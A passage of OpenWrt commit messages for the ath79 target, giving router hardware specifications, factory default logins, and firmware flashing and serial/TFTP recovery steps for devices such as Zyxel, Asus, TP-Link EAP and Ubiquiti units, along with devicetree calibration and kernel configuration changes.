LAN *:cc mib0 0x30 ('eth0mac'), art 0x1002 (label)
2g *:cd mib0 0x4b ('wifi0mac')
Signed-off-by: Sebastian Schaper <openwrt@sebastianschaper.net>
Specifications:
* AR9342, 16 MiB Flash, 64 MiB RAM, 802.11n 2T2R, 2.4 GHz
* QCA9882 PCIe card, 802.11ac 2T2R
* 1x Gigabit Ethernet (AR8035), 802.3af PoE
Installation:
* OEM Web UI is at 192.168.1.2
login as `admin` with password `1234`
* Flash factory-AAOX.bin
The string `AAOX` needs to be present within the file name of the uploaded
image to be accepted by the OEM Web-based updater, the factory image is
named accordingly to save the user from the hassle of manual renaming.
TFTP Recovery:
* Open the case, connect to TTL UART port (this is the official method
described by Zyxel, the reset button is useless during power-on)
* Extract factory image (.tar.bz2), serve `vmlinux_mi124_f1e.lzma.uImage`
and `mi124_f1e-jffs2` via tftp at 192.168.1.10
* Interrupt uboot countdown, execute commands
`run lk`
`run lf`
to flash the kernel / filesystem accordingly
MAC addresses as verified by OEM firmware:
use address source
LAN *:1c mib0 0x30 ('eth0mac'), art 0x1002 (label)
2g *:1c mib0 0x4b ('wifi0mac')
5g *:1e mib0 0x66 ('wifi1mac')
Signed-off-by: Sebastian Schaper <openwrt@sebastianschaper.net>
Specifications:
* AR9342, 16 MiB Flash, 64 MiB RAM, 802.11n 2T2R, 2.4 GHz
* AR9382 PCIe card, 802.11n 2T2R, 5 GHz
* 1x Gigabit Ethernet (AR8035), 802.3af PoE
Installation:
* OEM Web UI is at 192.168.1.2
login as `admin` with password `1234`
* Flash factory-AAEO.bin
The string `AAEO` needs to be present within the file name of the uploaded
image to be accepted by the OEM Web-based updater, the factory image is
named accordingly to save the user from the hassle of manual renaming.
TFTP Recovery:
* Open the case, connect to TTL UART port (this is the official method
described by Zyxel, the reset button is useless during power-on)
* Extract factory image (.tar.bz2), serve `vmlinux_mi124_f1e.lzma.uImage`
and `mi124_f1e-jffs2` via tftp at 192.168.1.10
* Interrupt uboot countdown, execute commands
`run lk`
`run lf`
to flash the kernel / filesystem accordingly
MAC addresses as verified by OEM firmware:
use address source
LAN *:fb mib0 0x30 ('eth0mac'), art 0x1002 (label)
2g *:fc mib0 0x4b ('wifi0mac')
5g *:fd mib0 0x66 ('wifi1mac')
Signed-off-by: Sebastian Schaper <openwrt@sebastianschaper.net>
Specifications:
* AR9342, 16 MiB Flash, 64 MiB RAM, 802.11n 2T2R, 2.4 GHz
* 1x Gigabit Ethernet (AR8035), 802.3af PoE
Installation:
* OEM Web UI is at 192.168.1.2
login as `admin` with password `1234`
* Flash factory-AABJ.bin
The string `AABJ` needs to be present within the file name of the uploaded
image to be accepted by the OEM Web-based updater, the factory image is
named accordingly to save the user from the hassle of manual renaming.
TFTP Recovery:
* Open the case, connect to TTL UART port (this is the official method
described by Zyxel, the reset button is useless during power-on)
* Extract factory image (.tar.bz2), serve `vmlinux_mi124_f1e.lzma.uImage`
and `mi124_f1e-jffs2` via tftp at 192.168.1.10
* Interrupt uboot countdown, execute commands
`run lk`
`run lf`
to flash the kernel / filesystem accordingly
MAC addresses as verified by OEM firmware:
use address source
LAN *:cc mib0 0x30 ('eth0mac'), art 0x1002 (label)
2g *:cd mib0 0x4b ('wifi0mac')
Signed-off-by: Sebastian Schaper <openwrt@sebastianschaper.net>
All targets expect the malta target already activate the CONFIG_GPIOLIB
option. Move it to generic kernel configuration and also activate it for
malta.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
The Sophos AP15 seems to be very close to Sophos AP55/AP100.
Based on:
commit 6f1efb2898 ("ath79: add support for Sophos AP100/AP55 family")
author Andrew Powers-Holmes <andrew@omnom.net>
Fri, 3 Sep 2021 15:53:57 +0200 (23:53 +1000)
committer Hauke Mehrtens <hauke@hauke-m.de>
Sat, 16 Apr 2022 16:59:29 +0200 (16:59 +0200)
Unique to AP15:
- Green and yellow LED
- 2T2R 2.4GHz 802.11b/g/n via SoC WMAC
- No buttons
- No piezo beeper
- No 5.8GHz
Flashing instructions:
- Derived from UART method described in referenced commit, methods
described there should work too.
- Set up a TFTP server; IP address has to be 192.168.99.8/24
- Copy the firmware (initramfs-kernel) to your TFTP server directory
renaming it to e.g. boot.bin
- Open AP's enclosure and locate UART header (there is a video online)
- Terminal connection parameters are 115200 8/N/1
- Connect TFTP server and AP via ethernet
- Power up AP and cancel autoboot when prompted
- Prompt shows 'ath> '
- Commands used to boot:
ath> tftpboot 0x81000000 boot.bin
ath> bootm 0x81000000
- Device should boot OpenWRT
- IP address after boot is 192.168.1.1/24
- Connect to device via browser
- Permanently flash using the web ui (flashing sysupgrade image)
- (BTW: the AP55 images seem to work too, only LEDs are not working)
Testing done:
- To be honest: Currently not so much testing done.
- Flashed onto two devices
- Devices are booting
- MAC addresses are correct
- LEDs are working
- Scanning for WLANs is working
Big thanks to all the people working on this great project!
(Sorry about my english, it is not my native language)
Signed-off-by: Manuel Niekamp <m.niekamp@richter-leiterplatten.de>
The hardware difference is the antenna which has a higher gain compared
to the original UniFi AP.
The variant was supported before in ar71xx.
Signed-off-by: Jan-Niklas Burfeind <git@aiyionpri.me>
extract the compatible and model to make room for other variants
follow-up of
commit dc23df8a8c ("ath79: change Ubiquiti UniFi AP model name to include "AP"")
Signed-off-by: Jan-Niklas Burfeind <git@aiyionpri.me>
The amber and green wan led color was inverted in dts file, which ends
up leaving the wan led amber when the connection is established, so,
switch gpio led number (7 and 8) in qca9563_tplink_archer-c6-v2-us.dts.
Tip: the /etc/config/system file needs to be regenerated.
Signed-off-by: Rodrigo B. de Sousa Martins <rodrigo.sousa.577@gmail.com>
Signed-off-by: Petr Štetiar <ynezz@true.cz> [commit subject]
Backport upstream solution that permits to declare nvmem cells with
dynamic partition defined by special parser.
This provide an OF node for NVMEM and connect it to the defined dynamic
partition.
Signed-off-by: Christian Marangi <ansuelsmth@gmail.com>
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
napi_build_skb() reuses NAPI skbuff_head cache in order to save some
cycles on freeing/allocating skbuff_heads on every new Rx or completed
Tx.
Use napi_consume_skb() to feed the cache with skbuff_heads of completed
Tx so it's never empty.
Signed-off-by: Sieng Piaw Liew <liew.s.piaw@gmail.com>
[ fixed commit title ]
Signed-off-by: Christian Marangi <ansuelsmth@gmail.com>
rtl8366s is used only by dlink_dir-825-b1 and the netgear_wndr family
(wndr3700, wndr3700-v2, wndr3800ch, wndr3800.dts, wndrmac-v1,
wndrmac-v2).
Not tested in real hardware.
With rtl8366rb, rtl8366s, rtl8367 as modules, rtl8366_smi can also be a
loadable module. This change was tested with tl-wr2543-v1.
Signed-off-by: Luiz Angelo Daros de Luca <luizluca@gmail.com>
It looks like rtl8366rb is used only by tplink_tl-wr1043nd-v1 and
buffalo_wzr-hp-g300nh-rb. There is no need to have it built-in as it
works as a loadable module.
Tested both failsafe and normal boot on tl-wr1043nd-v1.
buffalo_wzr-hp-g300nh-rb was not tested.
Signed-off-by: Luiz Angelo Daros de Luca <luizluca@gmail.com>
Asus RP-AC51 Repeater
Category:
AC750 300+433 (OEM w. unstable driver)
AC1200 300+866 (OpenWrt w. stable driver)
Hardware specifications:
Board: AP147
SoC: QCA9531 2.4G b/g/n
WiFi: QCA9886 5G n/ac
DRAM: 128MB DDR2
Flash: gd25q128 16MB SPI-NOR
LAN/WAN: AR8229 1x100M
Clocks: CPU:650MHz, DDR:600MHz, AHB:200MHz
MAC addresses as verified by OEM firmware:
use address source
Lan/W2G *:C8 art 0x1002 (label)
5G *:CC art 0x5006
Installation:
Asus windows recovery tool:
install the Asus firmware restoration utility
unplug the router, hold the reset button while powering it on
release when the power LED flashes slowly
specify a static IP on your computer:
IP address: 192.168.1.75
Subnet mask 255.255.255.0
Start the Asus firmware restoration utility, specify the factory image
and press upload
Do not power off the device after OpenWrt has booted until the LED flashing.
TFTP Recovery method:
set computer to a static ip, 192.168.1.10
connect computer to the LAN 1 port of the router
hold the reset button while powering on the router for a few seconds
send firmware image using a tftp client; i.e from linux:
$ tftp
tftp> binary
tftp> connect 192.168.1.1
tftp> put factory.bin
tftp> quit
Signed-off-by: Tamas Balogh <tamasbalogh@hotmail.com>
Asus PL-AC56 Powerline Range Extender Rev.A1
(in kit with Asus PL-E56P Powerline-slave)
Hardware specifications:
Board: AP152
SoC: QCA9563 2.4G n 3x3
PLC: QCA7500
WiFi: QCA9882 5G ac 2x2
Switch: QCA8337 3x1000M
Flash: 16MB 25L12835F SPI-NOR
DRAM SoC: 64MB w9751g6kb-25
DRAM PLC: 128MB w631gg6kb-15
Clocks: CPU:775.000MHz, DDR:650.000MHz, AHB:258.333MHz, Ref:25.000MHz
MAC addresses as verified by OEM firmware:
use address source
Lan/Wan/PLC *:10 art 0x1002 (label)
2G *:10 art 0x1000
5G *:14 art 0x5000
Important notes:
the PLC firmware has to be provided and copied manually onto the
device! The PLC here has no dedicated flash, thus the firmware file
has to be uploaded to the PLC controller at every system start
the PLC functionality is managed by the script /etc/init.d/plc_basic,
a very basic script based on the the one from Netadair (netadair dot de)
Installation:
Asus windows recovery tool:
have to have the latest Asus firmware flashed before continuing!
install the Asus firmware restoration utility
unplug the router, hold the reset button while powering it on
release when the power LED flashes slowly
specify a static IP on your computer:
IP address: 192.168.1.75
Subnet mask 255.255.255.0
start the Asus firmware restoration utility, specify the factory image
and press upload
do NOT power off the device after OpenWrt has booted until the LED flashing
TFTP Recovery method:
have to have the latest Asus firmware flashed before continuing!
set computer to a static ip, 192.168.1.75
connect computer to the LAN 1 port of the router
hold the reset button while powering on the router for a few seconds
send firmware image using a tftp client; i.e from linux:
$ tftp
tftp> binary
tftp> connect 192.168.1.1
tftp> put factory.bin
tftp> quit
do NOT power off the device after OpenWrt has booted until the LED flashing
Additional notes:
the pairing buttons have to have pressed for at least half a second,
it doesn't matter on which plc device (master or slave) first
it is possible to pair the devices without the button-pairing requirement
simply by pressing reset on the slave device. This will default to the
firmware settings, which is also how the plc_basic script is setting up
the master device, i.e. configuring it to firmware defaults
the PL-E56P slave PLC has its dedicated 4MByte SPI, thus it is capable
to store all firmware currently available. Note that some other
slave devices are not guarantied to have the capacity for the newer
~1MByte firmware blobs!
To have a good overlook about the slave device, here are its specs:
same QCA7500 PLC controller, same w631gg6kb-15 128MB RAM,
25L3233F 4MB SPI-NOR and an AR8035-A 1000M-Transceiver
Signed-off-by: Tamas Balogh <tamasbalogh@hotmail.com>
The MikroTik mAP-2nd (sold as mAP) is an indoor 2.4Ghz AP with
802.3af/at PoE input and passive PoE passthrough.
See https://mikrotik.com/product/RBmAP2nD for more details.
Specifications:
- SoC: QCA9533
- RAM: 64MB
- Storage: 16MB NOR
- Wireless: QCA9533 802.11b/g/n 2x2
- Ethernet: 2x 10/100 ports,
802.3af/at PoE in port 1, 500 mA passive PoE out on port 2
- 7 user-controllable LEDs
Note: the device is a tiny AP and does not distinguish between both
ethernet ports roles, so they are both assigned to lan.
With the current setup, ETH1 is connected to eth1 and ETH2 is connected
to eth0 via the embedded switch port 2.
Flashing:
TFTP boot initramfs image and then perform sysupgrade. The "ETH1" port
must be used to upload the TFTP image. Follow common MikroTik procedure
as in https://openwrt.org/toh/mikrotik/common.
Tested-By: Andrew Powers-Holmes <aholmes@omnom.net>
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
Linux MTD requires the parent partition be writable for a child
partition to be allowed write permission.
Signed-off-by: John Thomson <git@johnthomson.fastmail.com.au>
This model is almost identical to the EAP225 v3.
Major difference is the RTL8211FS PHY Chipset.
Device specifications:
* SoC: QCA9563 @ 775MHz
* RAM: 128MiB DDR2
* Flash: 16MiB SPI-NOR
* Wireless 2.4GHz (SoC): b/g/n, 3x3
* Wireless 5Ghz (QCA9886): a/n/ac, 2x2 MU-MIMO
* Ethernet (RTL8211FS): 1× 1GbE, 802.3at PoE
Flashing instructions:
* ssh into target device and run `cliclientd stopcs`
* Upgrade with factory image via web interface
Debricking:
* Serial port can be soldered on PCB J4 (1: TXD, 2: RXD, 3: GND, 4: VCC)
* Bridge unpopulated resistors R225 (TXD) and R237 (RXD).
Do NOT bridge R230.
* Use 3.3V, 115200 baud, 8n1
* Interrupt bootloader by holding CTRL+B during boot
* tftp initramfs to flash via LuCI web interface
setenv ipaddr 192.168.1.1 # default, change as required
setenv serverip 192.168.1.10 # default, change as required
tftp 0x80800000 initramfs.bin
bootelf $fileaddr
MAC addresses:
MAC address (as on device label) is stored in device info partition at
an offset of 8 bytes. ath9k device has same address as ethernet, ath10k
uses address incremented by 1.
Signed-off-by: Sven Hauer <sven.hauer+github@uniku.de>
It was observed that `rootfs_data` was sometimes not correctly erased
after performing sysupgrade, resulting in previous settings to prevail.
Add call to `wrgg-pad-rootfs` in sysupgrade image recipe to ensure any
previous jffs2 will be wiped, consistent with DAP-2610 from the ipq40xx
target, which introduced the double-flashing procedure for these devices.
Signed-off-by: Sebastian Schaper <openwrt@sebastianschaper.net>
This is now built-in, enable so it won't propagate on target configs.
Link: https://lkml.org/lkml/2022/1/3/168
Fixes: 79e7a2552e ("kernel: bump 5.15 to 5.15.44")
Fixes: 0ca9367069 ("kernel: bump 5.10 to 5.10.119")
Signed-off-by: Tomasz Maciej Nowak <tmn505@gmail.com>
(Link to Kernel's commit taht made it built-in,
CRYPTO_LIB_BLAKE2S[_ARM|_X86] as it's selectable, 5.10 backport)
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
The redboot-fis parser has option to specify the location of FIS
directory, use that, instead of patching the parser to scan for it, and
specifying location in kernel config.
Tested-by: Brian Gonyer <bgonyer@gmail.com>
Signed-off-by: Tomasz Maciej Nowak <tmn505@gmail.com>
This image is supposed to be written with help of bootloader to the
flash, but as it stands, it's not aligned to block size and RedBoot will
happily create non-aligned partition size in FIS directory. This could
lead to kernel to mark the partition as read-only, therefore pad the
image to block erase size boundary.
Signed-off-by: Tomasz Maciej Nowak <tmn505@gmail.com>
The bootloader on this board hid the partition containig MAC addresses
and prevented adding this space to FIS directory, therefore those had to
be stored in RedBoot configuration as aliases to be able to assigne them
to proper interfaces. Now that fixed partition size are used instead of
redboot-fis parser, the partition containig MAC addresses could be
specified, and with marking it as nvmem cell, we can assign them without
userspace involvement.
Signed-off-by: Tomasz Maciej Nowak <tmn505@gmail.com>
Don't comence the switch to RAMFS when the image format is wrong. This
led to rebooting the device, which could lead to false impression that
upgrade succeded.
Being here, factor out the code responsible for upgrading RedBoot
devices to separate file.
Signed-off-by: Tomasz Maciej Nowak <tmn505@gmail.com>
After the kernel has switched version to 5.10, JA76PF2 and
RouterStations lost the capability to sysupgrade the OpenWrt version.
The cause is the lack of porting the patches responsible for partial
flash erase block writing and these boards FIS directory and RedBoot
config partitions share the same erase block. Because of that the FIS
directory can't be updated to accommodate kernel/rootfs partition size
changes. This could be remedied by bootloader update, but it is very
intrusive and could potentially lead to non-trivial recovery procedure,
if something went wrong. The less difficult option is to use OpenWrt
kernel loader, which will let us use static partition sizes and employ
mtd splitter to dynamically adjust kernel and rootfs partition sizes.
On sysupgrade from ath79 19.07 or 21.02 image, which still let to modify
FIS directory, the loader will be written to kernel partition, while the
kernel+rootfs to rootfs partition.
The caveats are:
* image format changes, no possible upgrade from ar71xx target images
* downgrade to any older OpenWrt version will require TFTP recovery or
usage of bootloader command line interface
To downgrade to 19.07 or 21.02, or to upgrade if one is already on
OpenWrt with kernel 5.10, for RouterStations use TFTP recovery
procedure. For JA76PF2 use instructions from this commit message:
commit 0cc87b3bac ("ath79: image: disable sysupgrade images for routerstations and ja76pf2"),
replacing kernel image with loader (loader.bin suffix) and rootfs
image with firmware (firmware.bin suffix).
Fixes: b10d604459 ("kernel: add linux 5.10 support")
Fixes: 15aa53d7ee ("ath79: switch to Kernel 5.10")
Signed-off-by: Tomasz Maciej Nowak <tmn505@gmail.com>
(mkubntimage was moved to generic-ubnt.mk)
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
This SBC has Microchip TCN75 sensor, wich measures ambient temperature.
Specify it in dts to allow readout by applications using kernel hwmon
API.
Signed-off-by: Tomasz Maciej Nowak <tmn505@gmail.com>
This model is almost identical to the EAP225-Outdoor v1.
Major difference is the RTL8211FS PHY Chipset.
Device specifications:
* SoC: QCA9563 @ 775MHz
* Memory: 128MiB DDR2
* Flash: 16MiB SPI-NOR
* Wireless 2.4GHz (SoC): b/g/n 2x2
* Wireless 5GHz (QCA9886): a/n/ac 2x2 MU-MIMO
* Ethernet (RTL8211FS): 1× 1GbE, PoE
Flashing instructions:
* ssh into target device with recent (>= v1.6.0) firmware
* run `cliclientd stopcs` on target device
* upload factory image via web interface
Debricking:
To recover the device, you need access to the serial port. This requires
fine soldering to test points, or the use of probe pins.
* Open the case and solder wires to the test points: RXD, TXD and TPGND4
* Use a 3.3V UART, 115200 baud, 8n1
* Interrupt bootloader by holding ctrl+B during boot
* upload initramfs via built-in tftp client and perform sysupgrade
setenv ipaddr 192.168.1.1 # default, change as required
setenv serverip 192.168.1.10 # default, change as required
tftp 0x80800000 initramfs.bin
bootelf $fileaddr
MAC addresses:
MAC address (as on device label) is stored in device info partition at
an offset of 8 bytes. ath9k device has same address as ethernet, ath10k
uses address incremented by 1.
From stock ifconfig:
ath0 Link encap:Ethernet HWaddr D8:...:2E
ath10 Link encap:Ethernet HWaddr D8:...:2F
br0 Link encap:Ethernet HWaddr D8:...:2E
eth0 Link encap:Ethernet HWaddr D8:...:2E
Signed-off-by: Paul Maruhn <paulmaruhn@posteo.de>
Co-developed-by: Philipp Rothmann <philipprothmann@posteo.de>
Signed-off-by: Philipp Rothmann <philipprothmann@posteo.de>
[Add pre-calibraton nvme-cells]
Tested-by: Tido Klaassen <tido_ff@4gh.eu>
Signed-off-by: Nick Hainke <vincent@systemli.org>
This adds support for the Netgear PGZNG1, also known as the ADT Pulse
Gateway.
Hardware:
CPU: Atheros AR9344
Memory: 256MB
Storage: 256MB NAND Hynix H27U2G8F2CTR-BC
USB: 1x USB 2.0
Ethernet: 2x 100Mb/s
WiFi: Atheros AR9340 2.4GHz 2T2R
Leds: 8 LEDs
Button: 1x Reset Button
UART:
Header marked JPE1. Pinout is VCC, TX, RX, GND. The marked pin, closest
to the JPE1 marking, is VCC. Note VCC isn't required to be connected
for UART to work.
Enable Stock Firmware Shell Access:
1. Interrupt u-boot and run the following commands
setenv console_mode 1
saveenv
reset
This will enable a UART shell in the firmware. You can then login using
the root password of `icontrol`. If that doesn't work, the device is
running a firmware based on OpenWRT where you can drop into failsafe to
mount the FS and then modify /etc/passwd.
Installation Instructions:
1. Interupt u-boot and run the following commands
setenv active_image 0
setenv stock_bootcmd nboot 0x81000000 0 \${kernel_offset}
setenv openwrt_bootcmd nboot 0x82000000 0 \${kernel_offset}
setenv bootcmd run openwrt_bootcmd
saveenv
2. boot initramfs image via TFTP u-boot
tftpboot 0x82000000 openwrt-ath79-nand-netgear_pgzng1-initramfs-kernel.bin; bootm 0x82000000
3. Once booted, use LuCI sysupgrade to
flash openwrt-ath79-nand-netgear_pgzng1-squashfs-sysupgrade.bin
MAC Table:
WAN (eth0): xx:xa - caldata 0x0
LAN (eth1): xx:xb - caldata 0x6
WLAN (phy0): xx:xc - burned into ath9k caldata
Not Working:
Z-Wave
RS422
Signed-off-by: Chris Blake <chrisrblake93@gmail.com>
(added more hw-info, fixed file permissions)
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
ath10k Wave-2 hardware requires an nvmem-cell called "pre-calibration"
to load the device specific caldata, not "calibration". Rename the nvmem
cell node and label to match the updated cell name.
Fixes: eca0d73011 ("ath79: TP-Link EAP225 v3: convert ath10k to nvmem-cells")
Signed-off-by: Sander Vanheule <sander@svanheule.net>
ath10k Wave-2 hardware requires an nvmem-cell called "pre-calibration"
to load the device specific caldata, not "calibration". Rename the nvmem
cell node and label to match the updated cell name.
Fixes: 48625a0445 ("ath79: TP-Link EAP225-Wall v1: convert radios to nvmem-cells")
Signed-off-by: Sander Vanheule <sander@svanheule.net>
Fixes errors in the form of:
ath10k_pci 0000:00:00.0: failed to fetch board data for bus=pci,
vendor=168c,device=0056,subsystem-vendor=0000,subsystem-device
=0000 from ath10k/QCA9888/hw2.0/board-2.bin
ath10k_pci 0000:00:00.0: failed to fetch board-2.bin or board.bin
from ath10k/QCA9888/hw2.0
ath10k_pci 0000:00:00.0: failed to fetch board file: -12
ath10k_pci 0000:00:00.0: could not probe fw (-12)
As described already in 2d3321619b ("ath79: TP-Link EAP245 v3: use
pre-calibration nvmem-cell"):
Ath10k Wave-2 hardware requires an nvmem-cell called "pre-calibration"
to load the device specific caldata, not "calibration".
Further rename the nvmem cell node and label to match the updated cell name.
Fixes: 23b9040745 ("ath79: TP-Link EAP225-Outdoor v1: convert ath10k to nvmem-cells")
Suggested-by: Sander Vanheule <sander@svanheule.net>
Signed-off-by: Nick Hainke <vincent@systemli.org>
Convert the calibration data reference for the ath9k radio to an
nvmem-cell, replacing the downstream mtd-cal-data property.
Since the 'art' label is no longer used, it can be dropped.
Cc: Sebastian Schaper <openwrt@sebastianschaper.net>
Signed-off-by: Sander Vanheule <sander@svanheule.net>
The art partition containing the radio calibration data is in the same
location for all supported devices. Move the definition to the base file
so the reference from the wmac node can reference the same file.
Cc: Sebastian Schaper <openwrt@sebastianschaper.net>
Signed-off-by: Sander Vanheule <sander@svanheule.net>
Add the PCIe node for the ath10k radio to the devicetree, and refer to
the art partition for the calibration data using nvmem-cells.
MAC address assignment is moved to '10_fix_wifi_mac', so the device can
then be removed from the caldata extraction script '11-ath10k-caldata'.
Cc: Sebastian Schaper <openwrt@sebastianschaper.net>
Signed-off-by: Sander Vanheule <sander@svanheule.net>
Add the PCIe node for the ath10k radio to the devicetree, and refer to
the art partition for the calibration data using nvmem-cells.
MAC address assignment is moved to '10_fix_wifi_mac', so the device can
then be removed from the caldata extraction script '11-ath10k-caldata'.
Cc: Sebastian Schaper <openwrt@sebastianschaper.net>
Signed-off-by: Sander Vanheule <sander@svanheule.net>
Add the PCIe node for the ath10k radio to the devicetree, and refer to
the art partition for the calibration data using nvmem-cells.
MAC address assignment is moved to '10_fix_wifi_mac', so the device can
then be removed from the caldata extraction script '11-ath10k-caldata'.
Cc: Sebastian Schaper <openwrt@sebastianschaper.net>
Tested-by: Sebastian Schaper <openwrt@sebastianschaper.net>
Signed-off-by: Sander Vanheule <sander@svanheule.net>
Add the PCIe node for the ath10k radio to the devicetree, and refer to
the art partition for the pre-calibration data using nvmem-cells.
MAC address assignment is moved to '10_fix_wifi_mac', so the device can
then be removed from the caldata extraction script '11-ath10k-caldata'.
Cc: Sebastian Schaper <openwrt@sebastianschaper.net>
Tested-by: Sebastian Schaper <openwrt@sebastianschaper.net>
Signed-off-by: Sander Vanheule <sander@svanheule.net>
Convert the calibration data reference for the ath9k radio to an
nvmem-cell, replacing the downstream mtd-cal-data property.
Cc: Sebastian Schaper <openwrt@sebastianschaper.net>
Signed-off-by: Sander Vanheule <sander@svanheule.net>
The art partition containing the radio calibration data is in the same
location for all supported devices. Move the definition to the base file
so the reference from the wmac node can refer to the same file.
Cc: Sebastian Schaper <openwrt@sebastianschaper.net>
Signed-off-by: Sander Vanheule <sander@svanheule.net>
ath10k Wave-2 hardware requires an nvmem-cell called "pre-calibration"
to load the device specific caldata, not "calibration".
Update the nvmem-cell name to make the 5GHz radio work again.
Fixes: d4b3b23942 ("ath79: TP-Link EAP245 v3: convert radios to nvmem-cells")
Signed-off-by: Sander Vanheule <sander@svanheule.net>
Move the ethernet phy definition from the eap2x5-1port include to the
device-specific DTS files. This is to prepare for new devices that have
a different ethernet phy, at another MDIO address.
Signed-off-by: Sander Vanheule <sander@svanheule.net>
Replace the mtd-cal-data phandle by an nvmem-cell reference to the art
partition for the 2.4GHz ath9k radio.
Add the PCIe node for the ath10k radio to the devicetree, and refer to
the art partition for the calibration data using nvmem-cells.
Use mac-address-increment to ensure the MAC address is set correctly,
and remove the device from the caldata extraction and patching script.
Signed-off-by: Sander Vanheule <sander@svanheule.net>
Replace the mtd-cal-data phandle by an nvmem-cell reference from the art
partition for the 2.4GHz ath9k radio.
Add the PCIe node for the ath10k radio to the devicetree, and refer to
the art partition for the calibration data using an nvmem-cell.
Use mac-address-increment to ensure the MAC address is set correctly,
and remove the device from the caldata extraction and patching script.
Signed-off-by: Sander Vanheule <sander@svanheule.net>
Add the PCIe node for the ath10k radio to the devicetree, and refer to
the art partition for the calibration data using nvmem-cells.
Use mac-address-increment to ensure the MAC address is set correctly,
and remove the device from the caldata extraction and patching script.
Signed-off-by: Sander Vanheule <sander@svanheule.net>
Add the PCIe node for the ath10k radio to the devicetree, and refer to
the art partition for the calibration data using nvmem-cells.
Use mac-address-increment to ensure the MAC address is set correctly,
and remove the device from the caldata extraction and patching script.
Signed-off-by: Sander Vanheule <sander@svanheule.net>
Add the PCIe node for the ath10k radio to the devicetree, and refer to
the art partition for the calibration data using nvmem-cells.
Use mac-address-increment to ensure the MAC address is set correctly,
and remove the device from the caldata extraction and patching script.
Signed-off-by: Sander Vanheule <sander@svanheule.net>
Add the PCIe node for the ath10k radio to the devicetree, and refer to
the art partition for the calibration data using nvmem-cells.
Use mac-address-increment to ensure the MAC address is set correctly,
and remove the device from the caldata extraction and patching script.
Signed-off-by: Sander Vanheule <sander@svanheule.net>
Replace the mtd-cal-data phandle with an nvmem-cell reference for the
2.4GHz ath9k radio. This affects the following devices:
- TP-Link EAP225 v1
- TP-Link EAP225 v3
- TP-Link EAP225-Outdoor v1
- TP-Link EAP245 v1
Signed-off-by: Sander Vanheule <sander@svanheule.net>
The phy-mask property is read by the ag71xx-mdio driver to set the
mii_bus's phy_mask field. On OF platforms, the devicetree is expected to
provide all present ethernet phy-s however, so the phy_mask field is
later set to all-ones. Having a devicetree override is of no use then,
so let's drop it.
Cc: David Bauer <mail@david-bauer.net>
Cc: John Crispin <john@phrozen.org>
Signed-off-by: Sander Vanheule <sander@svanheule.net>
Acked-by: David Bauer <mail@david-bauer.net>
ath79 has was bumped to 5.10. With this, as with every kernel change,
the kernel has become larger. However, although the kernel gets bigger,
there are still enough flash resources. But the RAM reaches its capacity
limits. The tiny image comes with fewer kernel flags enabled and
fewer daemons.
Improves: 15aa53d7ee ("ath79: switch to Kernel 5.10")
Tested-by: Robert Foss <me@robertfoss.se>
Signed-off-by: Nick Hainke <vincent@systemli.org>
Delete the crypto-lib-blake2s kmod package, as BLAKE2s is now built-in.
Patches automatically rebased.
Build system: x86_64
Build-tested: ipq806x/R7800, x86/64
Signed-off-by: John Audia <therealgraysky@proton.me>
Small update to my previous path 'fix I2C on GL-AR300M devices'.
This update allow using GPIO17 as regular GPIO in case it not used
as I2C SDA line.
Signed-off-by: Ptilopsis Leucotis <PtilopsisLeucotis@yandex.com>
With the pinctrl configuration set properly by the previous commit, the
LED stays lit regardless of status of 2.4GHz radio, even if 5GHz radio
is disabled. Map GPIO19 as LED for ath9k, this way the LED will show
activity for both bands, as it is bound by logical AND with output of
ath10k-phy0 LED. This works well because during management traffic,
phy*tpt triggers typically cause LEDs to blink in unison.
Link: <https://github.com/openwrt/openwrt/pull/9941>
Signed-off-by: Lech Perczak <lech.perczak@gmail.com>
The default configuration of pinctrl for GPIO19 set by U-boot was not a
GPIO, but an alternate function, which prevented the GPIO hog from
working. Set GPIO19 into GPIO mode to allow the hog to work, then the
ath10k LED output can control the state of actual LED properly.
Link: <https://github.com/openwrt/openwrt/pull/9941>
Signed-off-by: Lech Perczak <lech.perczak@gmail.com>
The label MAC address for DIR-825 Rev. B1 is the WAN address located
at 0xffb4 in `caldata`, which equals LAN MAC at 0xffa0 incremented by 1.
Signed-off-by: Sebastian Schaper <openwrt@sebastianschaper.net>
Update the name of for the Ubiquiti NanoBeam M5 to match the
auto-generated one at runtime. Otherwise sysupgrade complains about
mismatching device names.
This also required renaming the DTS.
Signed-off-by: Jan-Niklas Burfeind <git@aiyionpri.me>
Ubiquiti NanoBeam M5 devices are CPE equipment for customer locations
with one Ethernet port and a 5 GHz 300Mbps wireless interface.
Specificatons:
- Atheros AR9342
- 535 MHz CPU
- 64 MB RAM
- 8 MB Flash
- 1x 10/100 Mbps Ethernet with passive PoE input (24 V)
- 6 LEDs of which four are rssi
- 1 reset button
- UART (4-pin) header on PCB
Notes:
The device was supported by OpenWrt in ar71xx.
Flash instructions (web/ssh/tftp):
Loading the image via ssh vias a stock firmware prior "AirOS 5.6".
Downgrading stock is possible.
* Flashing is possible via AirOS software update page:
The "factory" ROM image is recognized as non-native and then installed correctly.
AirOS warns to better be familiar with the recovery procedure.
* Flashing can be done via ssh, which is becoming difficult due to legacy
keyexchange methods.
This is an exempary ssh-config:
KexAlgorithms +diffie-hellman-group1-sha1
HostKeyAlgorithms ssh-rsa
PubkeyAcceptedKeyTypes ssh-rsa
User ubnt
The password is ubnt.
Connecting via IPv6 link local worked best for me.
1. scp the factory image to /tmp
2. fwupdate.real -m /tmp/firmware_image_file.bin -d
* Alternatively tftp is possible:
1. Configure PC with static IP 192.168.1.2/24.
2. Enter the rescue mode. Power off the device, push the reset button on
the device (or the PoE) and keep it pressed.
Power on the device, while still pushing the reset button.
3. When all the leds blink at the same time, release the reset button.
4. Upload the firmware image file via TFTP:
tftp 192.168.1.20
tftp> bin
tftp> trace
Packet tracing on.
tftp> put firmware_image.bin
Signed-off-by: Jan-Niklas Burfeind <git@aiyionpri.me>
The MikroTik hAP (product code RB951Ui-2nD) is
an indoor 2.4Ghz AP with a 2 dBi integrated antenna built around the
Atheros QCA9531 SoC.
Specifications:
- SoC: Atheros QCA9531
- RAM: 64 MB
- Storage: 16 MB NOR - Winbond 25Q128FVSG
- Wireless: Atheros QCA9530 (SoC) 802.11b/g/n 2x2
- Ethernet: Atheros AR934X switch, 5x 10/100 ports,
